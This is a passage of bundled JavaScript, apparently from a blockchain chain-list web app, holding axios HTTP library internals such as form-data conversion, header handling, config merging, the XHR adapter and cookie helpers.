Object.assign({\n visitor: function(value, key2, path, helpers) {\n if (platform_default.isNode && utils_default.isBuffer(value)) {\n this.append(key2, value.toString(\"base64\"));\n return false;\n }\n return helpers.defaultVisitor.apply(this, arguments);\n }\n }, options));\n}\n\n// node_modules/axios/lib/helpers/formDataToJSON.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nfunction parsePropPath(name) {\n return utils_default.matchAll(/\\w+|\\[(\\w*)]/g, name).map((match) => {\n return match[0] === \"[]\" ? \"\" : match[1] || match[0];\n });\n}\nfunction arrayToObject(arr) {\n const obj = {};\n const keys = Object.keys(arr);\n let i;\n const len = keys.length;\n let key2;\n for (i = 0; i < len; i++) {\n key2 = keys[i];\n obj[key2] = arr[key2];\n }\n return obj;\n}\nfunction formDataToJSON(formData) {\n function buildPath(path, value, target, index) {\n let name = path[index++];\n if (name === \"__proto__\")\n return true;\n const isNumericKey = Number.isFinite(+name);\n const isLast = index >= path.length;\n name = !name && utils_default.isArray(target) ? target.length : name;\n if (isLast) {\n if (utils_default.hasOwnProp(target, name)) {\n target[name] = [target[name], value];\n } else {\n target[name] = value;\n }\n return !isNumericKey;\n }\n if (!target[name] || !utils_default.isObject(target[name])) {\n target[name] = [];\n }\n const result = buildPath(path, value, target[name], index);\n if (result && utils_default.isArray(target[name])) {\n target[name] = arrayToObject(target[name]);\n }\n return !isNumericKey;\n }\n if (utils_default.isFormData(formData) && utils_default.isFunction(formData.entries)) {\n const obj = {};\n utils_default.forEachEntry(formData, (name, value) => {\n buildPath(parsePropPath(name), value, obj, 0);\n });\n return obj;\n }\n return null;\n}\nvar formDataToJSON_default = formDataToJSON;\n\n// node_modules/axios/lib/defaults/index.js\nfunction stringifySafely(rawValue, parser, encoder) {\n if (utils_default.isString(rawValue)) {\n try {\n (parser || JSON.parse)(rawValue);\n return utils_default.trim(rawValue);\n } catch (e) {\n if (e.name !== \"SyntaxError\") {\n throw e;\n }\n }\n }\n return (encoder || JSON.stringify)(rawValue);\n}\nvar defaults = {\n transitional: transitional_default,\n adapter: [\"xhr\", \"http\", \"fetch\"],\n transformRequest: [function transformRequest(data, headers) {\n const contentType = headers.getContentType() || \"\";\n const hasJSONContentType = contentType.indexOf(\"application/json\") > -1;\n const isObjectPayload = utils_default.isObject(data);\n if (isObjectPayload && utils_default.isHTMLForm(data)) {\n data = new FormData(data);\n }\n const isFormData2 = utils_default.isFormData(data);\n if (isFormData2) {\n return hasJSONContentType ? JSON.stringify(formDataToJSON_default(data)) : data;\n }\n if (utils_default.isArrayBuffer(data) || utils_default.isBuffer(data) || utils_default.isStream(data) || utils_default.isFile(data) || utils_default.isBlob(data) || utils_default.isReadableStream(data)) {\n return data;\n }\n if (utils_default.isArrayBufferView(data)) {\n return data.buffer;\n }\n if (utils_default.isURLSearchParams(data)) {\n headers.setContentType(\"application/x-www-form-urlencoded;charset=utf-8\", false);\n return data.toString();\n }\n let isFileList2;\n if (isObjectPayload) {\n if (contentType.indexOf(\"application/x-www-form-urlencoded\") > -1) {\n return toURLEncodedForm(data, this.formSerializer).toString();\n }\n if ((isFileList2 = utils_default.isFileList(data)) || contentType.indexOf(\"multipart/form-data\") > -1) {\n const _FormData = this.env && this.env.FormData;\n return toFormData_default(\n isFileList2 ? { \"files[]\": data } : data,\n _FormData && new _FormData(),\n this.formSerializer\n );\n }\n }\n if (isObjectPayload || hasJSONContentType) {\n headers.setContentType(\"application/json\", false);\n return stringifySafely(data);\n }\n return data;\n }],\n transformResponse: [function transformResponse(data) {\n const transitional2 = this.transitional || defaults.transitional;\n const forcedJSONParsing = transitional2 && transitional2.forcedJSONParsing;\n const JSONRequested = this.responseType === \"json\";\n if (utils_default.isResponse(data) || utils_default.isReadableStream(data)) {\n return data;\n }\n if (data && utils_default.isString(data) && (forcedJSONParsing && !this.responseType || JSONRequested)) {\n const silentJSONParsing = transitional2 && transitional2.silentJSONParsing;\n const strictJSONParsing = !silentJSONParsing && JSONRequested;\n try {\n return JSON.parse(data);\n } catch (e) {\n if (strictJSONParsing) {\n if (e.name === \"SyntaxError\") {\n throw AxiosError_default.from(e, AxiosError_default.ERR_BAD_RESPONSE, this, null, this.response);\n }\n throw e;\n }\n }\n }\n return data;\n }],\n /**\n * A timeout in milliseconds to abort a request. If set to 0 (default) a\n * timeout is not created.\n */\n timeout: 0,\n xsrfCookieName: \"XSRF-TOKEN\",\n xsrfHeaderName: \"X-XSRF-TOKEN\",\n maxContentLength: -1,\n maxBodyLength: -1,\n env: {\n FormData: platform_default.classes.FormData,\n Blob: platform_default.classes.Blob\n },\n validateStatus: function validateStatus(status) {\n return status >= 200 && status < 300;\n },\n headers: {\n common: {\n \"Accept\": \"application/json, text/plain, */*\",\n \"Content-Type\": void 0\n }\n }\n};\nutils_default.forEach([\"delete\", \"get\", \"head\", \"post\", \"put\", \"patch\"], (method) => {\n defaults.headers[method] = {};\n});\nvar defaults_default = defaults;\n\n// node_modules/axios/lib/core/AxiosHeaders.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/axios/lib/helpers/parseHeaders.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nvar ignoreDuplicateOf = utils_default.toObjectSet([\n \"age\",\n \"authorization\",\n \"content-length\",\n \"content-type\",\n \"etag\",\n \"expires\",\n \"from\",\n \"host\",\n \"if-modified-since\",\n \"if-unmodified-since\",\n \"last-modified\",\n \"location\",\n \"max-forwards\",\n \"proxy-authorization\",\n \"referer\",\n \"retry-after\",\n \"user-agent\"\n]);\nvar parseHeaders_default = (rawHeaders) => {\n const parsed = {};\n let key2;\n let val;\n let i;\n rawHeaders && rawHeaders.split(\"\\n\").forEach(function parser(line) {\n i = line.indexOf(\":\");\n key2 = line.substring(0, i).trim().toLowerCase();\n val = line.substring(i + 1).trim();\n if (!key2 || parsed[key2] && ignoreDuplicateOf[key2]) {\n return;\n }\n if (key2 === \"set-cookie\") {\n if (parsed[key2]) {\n parsed[key2].push(val);\n } else {\n parsed[key2] = [val];\n }\n } else {\n parsed[key2] = parsed[key2] ? parsed[key2] + \", \" + val : val;\n }\n });\n return parsed;\n};\n\n// node_modules/axios/lib/core/AxiosHeaders.js\nvar $internals = Symbol(\"internals\");\nfunction normalizeHeader(header) {\n return header && String(header).trim().toLowerCase();\n}\nfunction normalizeValue(value) {\n if (value === false || value == null) {\n return value;\n }\n return utils_default.isArray(value) ? value.map(normalizeValue) : String(value);\n}\nfunction parseTokens(str) {\n const tokens2 = /* @__PURE__ */ Object.create(null);\n const tokensRE = /([^\\s,;=]+)\\s*(?:=\\s*([^,;]+))?/g;\n let match;\n while (match = tokensRE.exec(str)) {\n tokens2[match[1]] = match[2];\n }\n return tokens2;\n}\nvar isValidHeaderName = (str) => /^[-_a-zA-Z0-9^`|~,!#$%&'*+.]+$/.test(str.trim());\nfunction matchHeaderValue(context, value, header, filter2, isHeaderNameFilter) {\n if (utils_default.isFunction(filter2)) {\n return filter2.call(this, value, header);\n }\n if (isHeaderNameFilter) {\n value = header;\n }\n if (!utils_default.isString(value))\n return;\n if (utils_default.isString(filter2)) {\n return value.indexOf(filter2) !== -1;\n }\n if (utils_default.isRegExp(filter2)) {\n return filter2.test(value);\n }\n}\nfunction formatHeader(header) {\n return header.trim().toLowerCase().replace(/([a-z\\d])(\\w*)/g, (w, char, str) => {\n return char.toUpperCase() + str;\n });\n}\nfunction buildAccessors(obj, header) {\n const accessorName = utils_default.toCamelCase(\" \" + header);\n [\"get\", \"set\", \"has\"].forEach((methodName) => {\n Object.defineProperty(obj, methodName + accessorName, {\n value: function(arg1, arg2, arg3) {\n return this[methodName].call(this, header, arg1, arg2, arg3);\n },\n configurable: true\n });\n });\n}\nvar AxiosHeaders = class {\n constructor(headers) {\n headers && this.set(headers);\n }\n set(header, valueOrRewrite, rewrite) {\n const self2 = this;\n function setHeader(_value, _header, _rewrite) {\n const lHeader = normalizeHeader(_header);\n if (!lHeader) {\n throw new Error(\"header name must be a non-empty string\");\n }\n const key2 = utils_default.findKey(self2, lHeader);\n if (!key2 || self2[key2] === void 0 || _rewrite === true || _rewrite === void 0 && self2[key2] !== false) {\n self2[key2 || _header] = normalizeValue(_value);\n }\n }\n const setHeaders = (headers, _rewrite) => utils_default.forEach(headers, (_value, _header) => setHeader(_value, _header, _rewrite));\n if (utils_default.isPlainObject(header) || header instanceof this.constructor) {\n setHeaders(header, valueOrRewrite);\n } else if (utils_default.isString(header) && (header = header.trim()) && !isValidHeaderName(header)) {\n setHeaders(parseHeaders_default(header), valueOrRewrite);\n } else if (utils_default.isHeaders(header)) {\n for (const [key2, value] of header.entries()) {\n setHeader(value, key2, rewrite);\n }\n } else {\n header != null && setHeader(valueOrRewrite, header, rewrite);\n }\n return this;\n }\n get(header, parser) {\n header = normalizeHeader(header);\n if (header) {\n const key2 = utils_default.findKey(this, header);\n if (key2) {\n const value = this[key2];\n if (!parser) {\n return value;\n }\n if (parser === true) {\n return parseTokens(value);\n }\n if (utils_default.isFunction(parser)) {\n return parser.call(this, value, key2);\n }\n if (utils_default.isRegExp(parser)) {\n return parser.exec(value);\n }\n throw new TypeError(\"parser must be boolean|regexp|function\");\n }\n }\n }\n has(header, matcher) {\n header = normalizeHeader(header);\n if (header) {\n const key2 = utils_default.findKey(this, header);\n return !!(key2 && this[key2] !== void 0 && (!matcher || matchHeaderValue(this, this[key2], key2, matcher)));\n }\n return false;\n }\n delete(header, matcher) {\n const self2 = this;\n let deleted = false;\n function deleteHeader(_header) {\n _header = normalizeHeader(_header);\n if (_header) {\n const key2 = utils_default.findKey(self2, _header);\n if (key2 && (!matcher || matchHeaderValue(self2, self2[key2], key2, matcher))) {\n delete self2[key2];\n deleted = true;\n }\n }\n }\n if (utils_default.isArray(header)) {\n header.forEach(deleteHeader);\n } else {\n deleteHeader(header);\n }\n return deleted;\n }\n clear(matcher) {\n const keys = Object.keys(this);\n let i = keys.length;\n let deleted = false;\n while (i--) {\n const key2 = keys[i];\n if (!matcher || matchHeaderValue(this, this[key2], key2, matcher, true)) {\n delete this[key2];\n deleted = true;\n }\n }\n return deleted;\n }\n normalize(format) {\n const self2 = this;\n const headers = {};\n utils_default.forEach(this, (value, header) => {\n const key2 = utils_default.findKey(headers, header);\n if (key2) {\n self2[key2] = normalizeValue(value);\n delete self2[header];\n return;\n }\n const normalized = format ? formatHeader(header) : String(header).trim();\n if (normalized !== header) {\n delete self2[header];\n }\n self2[normalized] = normalizeValue(value);\n headers[normalized] = true;\n });\n return this;\n }\n concat(...targets) {\n return this.constructor.concat(this, ...targets);\n }\n toJSON(asStrings) {\n const obj = /* @__PURE__ */ Object.create(null);\n utils_default.forEach(this, (value, header) => {\n value != null && value !== false && (obj[header] = asStrings && utils_default.isArray(value) ? value.join(\", \") : value);\n });\n return obj;\n }\n [Symbol.iterator]() {\n return Object.entries(this.toJSON())[Symbol.iterator]();\n }\n toString() {\n return Object.entries(this.toJSON()).map(([header, value]) => header + \": \" + value).join(\"\\n\");\n }\n get [Symbol.toStringTag]() {\n return \"AxiosHeaders\";\n }\n static from(thing) {\n return thing instanceof this ? thing : new this(thing);\n }\n static concat(first, ...targets) {\n const computed = new this(first);\n targets.forEach((target) => computed.set(target));\n return computed;\n }\n static accessor(header) {\n const internals = this[$internals] = this[$internals] = {\n accessors: {}\n };\n const accessors = internals.accessors;\n const prototype3 = this.prototype;\n function defineAccessor(_header) {\n const lHeader = normalizeHeader(_header);\n if (!accessors[lHeader]) {\n buildAccessors(prototype3, _header);\n accessors[lHeader] = true;\n }\n }\n utils_default.isArray(header) ? header.forEach(defineAccessor) : defineAccessor(header);\n return this;\n }\n};\nAxiosHeaders.accessor([\"Content-Type\", \"Content-Length\", \"Accept\", \"Accept-Encoding\", \"User-Agent\", \"Authorization\"]);\nutils_default.reduceDescriptors(AxiosHeaders.prototype, ({ value }, key2) => {\n let mapped = key2[0].toUpperCase() + key2.slice(1);\n return {\n get: () => value,\n set(headerValue) {\n this[mapped] = headerValue;\n }\n };\n});\nutils_default.freezeMethods(AxiosHeaders);\nvar AxiosHeaders_default = AxiosHeaders;\n\n// node_modules/axios/lib/core/transformData.js\nfunction transformData(fns, response) {\n const config = this || defaults_default;\n const context = response || config;\n const headers = AxiosHeaders_default.from(context.headers);\n let data = context.data;\n utils_default.forEach(fns, function transform(fn) {\n data = fn.call(config, data, headers.normalize(), response ? response.status : void 0);\n });\n headers.normalize();\n return data;\n}\n\n// node_modules/axios/lib/cancel/isCancel.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nfunction isCancel(value) {\n return !!(value && value.__CANCEL__);\n}\n\n// node_modules/axios/lib/cancel/CanceledError.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nfunction CanceledError(message, config, request) {\n AxiosError_default.call(this, message == null ? \"canceled\" : message, AxiosError_default.ERR_CANCELED, config, request);\n this.name = \"CanceledError\";\n}\nutils_default.inherits(CanceledError, AxiosError_default, {\n __CANCEL__: true\n});\nvar CanceledError_default = CanceledError;\n\n// node_modules/axios/lib/adapters/adapters.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/axios/lib/adapters/xhr.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/axios/lib/core/settle.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nfunction settle(resolve, reject, response) {\n const validateStatus2 = response.config.validateStatus;\n if (!response.status || !validateStatus2 || validateStatus2(response.status)) {\n resolve(response);\n } else {\n reject(new AxiosError_default(\n \"Request failed with status code \" + response.status,\n [AxiosError_default.ERR_BAD_REQUEST, AxiosError_default.ERR_BAD_RESPONSE][Math.floor(response.status / 100) - 4],\n response.config,\n response.request,\n response\n ));\n }\n}\n\n// node_modules/axios/lib/helpers/parseProtocol.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nfunction parseProtocol(url) {\n const match = /^([-+\\w]{1,25})(:?\\/\\/|:)/.exec(url);\n return match && match[1] || \"\";\n}\n\n// node_modules/axios/lib/helpers/progressEventReducer.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/axios/lib/helpers/speedometer.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nfunction speedometer(samplesCount, min) {\n samplesCount = samplesCount || 10;\n const bytes = new Array(samplesCount);\n const timestamps = new Array(samplesCount);\n let head = 0;\n let tail = 0;\n let firstSampleTS;\n min = min !== void 0 ? min : 1e3;\n return function push(chunkLength) {\n const now = Date.now();\n const startedAt = timestamps[tail];\n if (!firstSampleTS) {\n firstSampleTS = now;\n }\n bytes[head] = chunkLength;\n timestamps[head] = now;\n let i = tail;\n let bytesCount = 0;\n while (i !== head) {\n bytesCount += bytes[i++];\n i = i % samplesCount;\n }\n head = (head + 1) % samplesCount;\n if (head === tail) {\n tail = (tail + 1) % samplesCount;\n }\n if (now - firstSampleTS < min) {\n return;\n }\n const passed = startedAt && now - startedAt;\n return passed ? Math.round(bytesCount * 1e3 / passed) : void 0;\n };\n}\nvar speedometer_default = speedometer;\n\n// node_modules/axios/lib/helpers/throttle.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nfunction throttle(fn, freq) {\n let timestamp = 0;\n const threshold = 1e3 / freq;\n let timer2 = null;\n return function throttled() {\n const force = this === true;\n const now = Date.now();\n if (force || now - timestamp > threshold) {\n if (timer2) {\n clearTimeout(timer2);\n timer2 = null;\n }\n timestamp = now;\n return fn.apply(null, arguments);\n }\n if (!timer2) {\n timer2 = setTimeout(() => {\n timer2 = null;\n timestamp = Date.now();\n return fn.apply(null, arguments);\n }, threshold - (now - timestamp));\n }\n };\n}\nvar throttle_default = throttle;\n\n// node_modules/axios/lib/helpers/progressEventReducer.js\nvar progressEventReducer_default = (listener, isDownloadStream, freq = 3) => {\n let bytesNotified = 0;\n const _speedometer = speedometer_default(50, 250);\n return throttle_default((e) => {\n const loaded = e.loaded;\n const total = e.lengthComputable ? e.total : void 0;\n const progressBytes = loaded - bytesNotified;\n const rate = _speedometer(progressBytes);\n const inRange = loaded <= total;\n bytesNotified = loaded;\n const data = {\n loaded,\n total,\n progress: total ? loaded / total : void 0,\n bytes: progressBytes,\n rate: rate ? rate : void 0,\n estimated: rate && total && inRange ? (total - loaded) / rate : void 0,\n event: e,\n lengthComputable: total != null\n };\n data[isDownloadStream ? \"download\" : \"upload\"] = true;\n listener(data);\n }, freq);\n};\n\n// node_modules/axios/lib/helpers/resolveConfig.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/axios/lib/helpers/isURLSameOrigin.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nvar isURLSameOrigin_default = platform_default.hasStandardBrowserEnv ? (\n // Standard browser envs have full support of the APIs needed to test\n // whether the request URL is of the same origin as current location.\n function standardBrowserEnv() {\n const msie = /(msie|trident)/i.test(navigator.userAgent);\n const urlParsingNode = document.createElement(\"a\");\n let originURL;\n function resolveURL(url) {\n let href = url;\n if (msie) {\n urlParsingNode.setAttribute(\"href\", href);\n href = urlParsingNode.href;\n }\n urlParsingNode.setAttribute(\"href\", href);\n return {\n href: urlParsingNode.href,\n protocol: urlParsingNode.protocol ? urlParsingNode.protocol.replace(/:$/, \"\") : \"\",\n host: urlParsingNode.host,\n search: urlParsingNode.search ? urlParsingNode.search.replace(/^\\?/, \"\") : \"\",\n hash: urlParsingNode.hash ? urlParsingNode.hash.replace(/^#/, \"\") : \"\",\n hostname: urlParsingNode.hostname,\n port: urlParsingNode.port,\n pathname: urlParsingNode.pathname.charAt(0) === \"/\" ? urlParsingNode.pathname : \"/\" + urlParsingNode.pathname\n };\n }\n originURL = resolveURL(window.location.href);\n return function isURLSameOrigin(requestURL) {\n const parsed = utils_default.isString(requestURL) ? resolveURL(requestURL) : requestURL;\n return parsed.protocol === originURL.protocol && parsed.host === originURL.host;\n };\n }()\n) : (\n // Non standard browser envs (web workers, react-native) lack needed support.\n /* @__PURE__ */ function nonStandardBrowserEnv() {\n return function isURLSameOrigin() {\n return true;\n };\n }()\n);\n\n// node_modules/axios/lib/helpers/cookies.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nvar cookies_default = platform_default.hasStandardBrowserEnv ? (\n // Standard browser envs support document.cookie\n {\n write(name, value, expires, path, domain, secure) {\n const cookie = [name + \"=\" + encodeURIComponent(value)];\n utils_default.isNumber(expires) && cookie.push(\"expires=\" + new Date(expires).toGMTString());\n utils_default.isString(path) && cookie.push(\"path=\" + path);\n utils_default.isString(domain) && cookie.push(\"domain=\" + domain);\n secure === true && cookie.push(\"secure\");\n document.cookie = cookie.join(\"; \");\n },\n read(name) {\n const match = document.cookie.match(new RegExp(\"(^|;\\\\s*)(\" + name + \")=([^;]*)\"));\n return match ? decodeURIComponent(match[3]) : null;\n },\n remove(name) {\n this.write(name, \"\", Date.now() - 864e5);\n }\n }\n) : (\n // Non-standard browser env (web workers, react-native) lack needed support.\n {\n write() {\n },\n read() {\n return null;\n },\n remove() {\n }\n }\n);\n\n// node_modules/axios/lib/core/buildFullPath.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/axios/lib/helpers/isAbsoluteURL.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nfunction isAbsoluteURL(url) {\n return /^([a-z][a-z\\d+\\-.]*:)?\\/\\//i.test(url);\n}\n\n// node_modules/axios/lib/helpers/combineURLs.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nfunction combineURLs(baseURL, relativeURL) {\n return relativeURL ? baseURL.replace(/\\/?\\/$/, \"\") + \"/\" + relativeURL.replace(/^\\/+/, \"\") : baseURL;\n}\n\n// node_modules/axios/lib/core/buildFullPath.js\nfunction buildFullPath(baseURL, requestedURL) {\n if (baseURL && !isAbsoluteURL(requestedURL)) {\n return combineURLs(baseURL, requestedURL);\n }\n return requestedURL;\n}\n\n// node_modules/axios/lib/core/mergeConfig.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nvar headersToObject = (thing) => thing instanceof AxiosHeaders_default ? { ...thing } : thing;\nfunction mergeConfig(config1, config2) {\n config2 = config2 || {};\n const config = {};\n function getMergedValue(target, source, caseless) {\n if (utils_default.isPlainObject(target) && utils_default.isPlainObject(source)) {\n return utils_default.merge.call({ caseless }, target, source);\n } else if (utils_default.isPlainObject(source)) {\n return utils_default.merge({}, source);\n } else if (utils_default.isArray(source)) {\n return source.slice();\n }\n return source;\n }\n function mergeDeepProperties(a, b, caseless) {\n if (!utils_default.isUndefined(b)) {\n return getMergedValue(a, b, caseless);\n } else if (!utils_default.isUndefined(a)) {\n return getMergedValue(void 0, a, caseless);\n }\n }\n function valueFromConfig2(a, b) {\n if (!utils_default.isUndefined(b)) {\n return getMergedValue(void 0, b);\n }\n }\n function defaultToConfig2(a, b) {\n if (!utils_default.isUndefined(b)) {\n return getMergedValue(void 0, b);\n } else if (!utils_default.isUndefined(a)) {\n return getMergedValue(void 0, a);\n }\n }\n function mergeDirectKeys(a, b, prop) {\n if (prop in config2) {\n return getMergedValue(a, b);\n } else if (prop in config1) {\n return getMergedValue(void 0, a);\n }\n }\n const mergeMap = {\n url: valueFromConfig2,\n method: valueFromConfig2,\n data: valueFromConfig2,\n baseURL: defaultToConfig2,\n transformRequest: defaultToConfig2,\n transformResponse: defaultToConfig2,\n paramsSerializer: defaultToConfig2,\n timeout: defaultToConfig2,\n timeoutMessage: defaultToConfig2,\n withCredentials: defaultToConfig2,\n withXSRFToken: defaultToConfig2,\n adapter: defaultToConfig2,\n responseType: defaultToConfig2,\n xsrfCookieName: defaultToConfig2,\n xsrfHeaderName: defaultToConfig2,\n onUploadProgress: defaultToConfig2,\n onDownloadProgress: defaultToConfig2,\n decompress: defaultToConfig2,\n maxContentLength: defaultToConfig2,\n maxBodyLength: defaultToConfig2,\n beforeRedirect: defaultToConfig2,\n transport: defaultToConfig2,\n httpAgent: defaultToConfig2,\n httpsAgent: defaultToConfig2,\n cancelToken: defaultToConfig2,\n socketPath: defaultToConfig2,\n responseEncoding: defaultToConfig2,\n validateStatus: mergeDirectKeys,\n headers: (a, b) => mergeDeepProperties(headersToObject(a), headersToObject(b), true)\n };\n utils_default.forEach(Object.keys(Object.assign({}, config1, config2)), function computeConfigValue(prop) {\n const merge2 = mergeMap[prop] || mergeDeepProperties;\n const configValue = merge2(config1[prop], config2[prop], prop);\n utils_default.isUndefined(configValue) && merge2 !== mergeDirectKeys || (config[prop] = configValue);\n });\n return config;\n}\n\n// node_modules/axios/lib/helpers/resolveConfig.js\nvar resolveConfig_default = (config) => {\n const newConfig = mergeConfig({}, config);\n let { data, withXSRFToken, xsrfHeaderName, xsrfCookieName, headers, auth } = newConfig;\n newConfig.headers = headers = AxiosHeaders_default.from(headers);\n newConfig.url = buildURL(buildFullPath(newConfig.baseURL, newConfig.url), config.params, config.paramsSerializer);\n if (auth) {\n headers.set(\n \"Authorization\",\n \"Basic \" + btoa((auth.username || \"\") + \":\" + (auth.password ? unescape(encodeURIComponent(auth.password)) : \"\"))\n );\n }\n let contentType;\n if (utils_default.isFormData(data)) {\n if (platform_default.hasStandardBrowserEnv || platform_default.hasStandardBrowserWebWorkerEnv) {\n headers.setContentType(void 0);\n } else if ((contentType = headers.getContentType()) !== false) {\n const [type, ...tokens2] = contentType ? contentType.split(\";\").map((token) => token.trim()).filter(Boolean) : [];\n headers.setContentType([type || \"multipart/form-data\", ...tokens2].join(\"; \"));\n }\n }\n if (platform_default.hasStandardBrowserEnv) {\n withXSRFToken && utils_default.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));\n if (withXSRFToken || withXSRFToken !== false && isURLSameOrigin_default(newConfig.url)) {\n const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies_default.read(xsrfCookieName);\n if (xsrfValue) {\n headers.set(xsrfHeaderName, xsrfValue);\n }\n }\n }\n return newConfig;\n};\n\n// node_modules/axios/lib/adapters/xhr.js\nvar isXHRAdapterSupported = typeof XMLHttpRequest !== \"undefined\";\nvar xhr_default = isXHRAdapterSupported && function(config) {\n return new Promise(function dispatchXhrRequest(resolve, reject) {\n const _config = resolveConfig_default(config);\n let requestData = _config.data;\n const requestHeaders = AxiosHeaders_default.from(_config.headers).normalize();\n let { responseType } = _config;\n let onCanceled;\n function done() {\n if (_config.cancelToken) {\n _config.cancelToken.unsubscribe(onCanceled);\n }\n if (_config.signal) {\n _config.signal.removeEventListener(\"abort\", onCanceled);\n }\n }\n let request = new XMLHttpRequest();\n request.open(_config.method.toUpperCase(), _config.url, true);\n request.timeout = _config.timeout;\n function onloadend() {\n if (!request) {\n return;\n }\n const responseHeaders = AxiosHeaders_default.from(\n \"getAllResponseHeaders\" in request && request.getAllResponseHeaders()\n );\n const responseData = !responseType || responseType === \"text\" || responseType === \"json\" ? request.responseText : request.response;\n const response = {\n data: responseData,\n status: request.status,\n statusText: request.statusText,\n headers: responseHeaders,\n config,\n request\n };\n settle(function _resolve(value) {\n resolve(value);\n done();\n }, function _reject(err) {\n reject(err);\n done();\n }, response);\n request = null;\n }\n if (\"onloadend\" in request) {\n request.onloadend = onloadend;\n } else {\n request.onreadystatechange = function handleLoad() {\n if (!request || request.readyState !== 4) {\n return;\n }\n if (request.status === 0 && !(request.responseURL && request.responseURL.indexOf(\"file:\") === 0)) {\n return;\n }\n setTimeout(onloadend);\n };\n }\n request.onabort = function handleAbort() {\n if (!request) {\n return;\n }\n reject(new AxiosError_default(\"Request aborted\", AxiosError_default.ECONNABORTED, _config, request));\n request = null;\n };\n request.onerror = function handleError() {\n reject(new AxiosError_default(\"Network Error\", AxiosError_default.ERR_NETWORK, _config, request));\n request = null;\n };\n request.ontimeout = function handleTimeout() {\n let timeoutErrorMessage = _config.timeout ? \"timeout of \" + _config.timeout + \"ms exceeded\" : \"timeout exceeded\";\n const transitional2 = _config.transitional || transitional_default;\n if (_config.timeoutErrorMessage) {\n timeoutErrorMessage = _config.timeoutErrorMessage;\n }\n reject(new AxiosError_default(\n timeoutErrorMessage,\n transitional2.clarifyTimeoutError ? AxiosError_default.ETIMEDOUT : AxiosError_default.ECONNABORTED,\n _config,\n request\n ));\n request = null;\n };\n requestData === void 0 && requestHeaders.setContentType(null);\n if (\"setRequestHeader\" in request) {\n utils_default.forEach(requestHeaders.toJSON(), function setRequestHeader(val, key2) {\n request.setRequestHeader(key2, val);\n });\n }\n if (!utils_default.isUndefined(_config.withCredentials)) {\n request.withCredentials = !!_config.withCredentials;\n }\n if (responseType && responseType !== \"json\") {\n request.responseType = _config.responseType;\n }\n if (typeof _config.onDownloadProgress === \"function\") {\n request.addEventListener(\"progress\", progressEventReducer_default(_config.onDownloadProgress, true));\n }\n if (typeof _config.onUploadProgress === \"function\" && request.upload) {\n request.upload.addEventListener(\"progress\", progressEventReducer_default(_config.onUploadProgress));\n }\n if (_config.cancelToken || _config.signal) {\n onCanceled = (cancel) => {\n if (!request) {\n return;\n }\n reject(!cancel || cancel.type ? new CanceledError_default(null, config, request) : cancel);\n request.abort();\n request = null;\n };\n _config.cancelToken && _config.cancelToken.subscribe(onCanceled);\n if (_config.signal) {\n _config.signal.aborted ? onCanceled() : _config.signal.addEventListener(\"abort\", onCanceled);\n }\n }\n const protocol = parseProtocol(_config.url);\n if (protocol && platform_default.protocols.indexOf(protocol) === -1) {\n reject(new AxiosError_default(\"Unsupported protocol \" + protocol + \":\", AxiosError_default.ERR_BAD_REQUEST, config));\n return;\n }\n request.send(requestData || null);\n });\n};\n\n// node_modules/axios/lib/adapters/fetch.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/axios/lib/helpers/composeSignals.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nvar composeSignals = (signals, timeout) => {\n let controller = new AbortController();\n let aborted;\n const onabort = function(cancel) {\n if (!aborted) {\n aborted = true;\n unsubscribe();\n const err = cancel instanceof Error ? cancel : this.reason;\n controller.abort(err instanceof AxiosError_default ? err : new CanceledError_default(err instanceof Error ? err.message : err));\n }\n };\n let timer2 = timeout && setTimeout(() => {\n onabort(new AxiosError_default(`timeout ${timeout} of ms exceeded`, AxiosError_default.ETIMEDOUT));\n }, timeout);\n const unsubscribe = () => {\n if (signals) {\n timer2 && clearTimeout(timer2);\n timer2 = null;\n signals.forEach((signal2) => {\n signal2 && (signal2.removeEventListener ? signal2.removeEventListener(\"abort\", onabort) : signal2.unsubscribe(onabort));\n });\n signals = null;\n }\n };\n signals.forEach((signal2) => signal2 && signal2.addEventListener && signal2.addEventListener(\"abort\", onabort));\n const { signal } = controller;\n signal.unsubscribe = unsubscribe;\n return [signal, () => {\n timer2 && clearTimeout(timer2);\n timer2 = null;\n }];\n};\nvar composeSignals_default = composeSignals;\n\n// node_modules/axios/lib/helpers/trackStream.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nvar streamChunk = function* (chunk, chunkSize) {\n let len = chunk.byteLength;\n if (!chunkSize || len < chunkSize) {\n yield chunk;\n return;\n }\n let pos = 0;\n let end;\n while (pos < len) {\n end = pos + chunkSize;\n yield chunk.slice(pos, end);\n pos = end;\n }\n};\nvar readBytes = async function* (iterable, chunkSize, encode6) {\n for await (const chunk of iterable) {\n yield* streamChunk(ArrayBuffer.isView(chunk) ? chunk : await encode6(String(chunk)), chunkSize);\n }\n};\nvar trackStream = (stream, chunkSize, onProgress, onFinish, encode6) => {\n const iterator = readBytes(stream, chunkSize, encode6);\n let bytes = 0;\n return new ReadableStream({\n type: \"bytes\",\n async pull(controller) {\n const { done, value } = await iterator.next();\n if (done) {\n controller.close();\n onFinish();\n return;\n }\n let len = value.byteLength;\n onProgress && onProgress(bytes += len);\n controller.enqueue(new Uint8Array(value));\n },\n cancel(reason) {\n onFinish(reason);\n return iterator.return();\n }\n }, {\n highWaterMark: 2\n });\n};\n\n// 